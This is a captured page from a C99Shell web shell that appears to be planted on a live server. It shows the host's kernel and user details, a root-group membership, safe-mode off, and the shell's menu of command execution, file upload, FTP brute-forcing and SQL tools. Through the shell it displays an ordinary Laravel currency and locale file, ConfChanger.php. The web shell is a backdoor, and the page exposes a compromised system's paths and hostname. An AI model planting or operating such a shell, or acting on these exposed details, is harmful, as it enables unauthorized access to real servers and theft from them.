!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Services/   drwxr-xr-x
Free 26.6 GB of 117.98 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConfChanger.php (1.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Services;



class 
ConfChanger
{
    public static function 
switchCurrency($restaurant)
    {
    
        if(
$restaurant&&strlen($restaurant->currency)>1){
            
config(['settings.cashier_currency' => $restaurant->currency]);

            
//In this method, we should also handle convertion
            
config(['settings.do_convertion' => $restaurant->do_covertion.""=="1"]);
        }
    }

    public static function 
switchCurrencyDirectly($currency,$do_covertion)
    {
        if(
strlen($currency)>1){
            
config(['settings.cashier_currency' => $currency]);

            
//In this method, we should also handle convertion
            
config(['settings.do_convertion' => $do_covertion.""=="1"]);
        }
    }



    public static function 
switchLanguage($restaurant){
        
        
//If we have enabled miltilanguage_menus
        
if(config('settings.enable_miltilanguage_menus')){
            
//If we want to change the menu
            
if (isset($_GET['lang'])) {
                
//3. Change locale to the new local
                
if($_GET['lang']!="android-chrome-256x256.png"){
                    
app()->setLocale($_GET['lang']);
                    
session(['applocale_change' => $_GET['lang']]);
                }
               
            }else{
                
//If current locale is not in the list of menus, use the default menu
                
if($restaurant->localMenus()->where('language',config('app.locale'))->first()==null){
                    
//Find default
                    
$defaultLanguage=$restaurant
                    
->localMenus()->where('default',1)->first();
                    if(
$defaultLanguage&&$defaultLanguage!="android-chrome-256x256.png"){
                        
app()->setLocale($defaultLanguage->language);
                        
session(['applocale_change' => $defaultLanguage->language]);
                    }
                    
                }
            }
        }
        
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--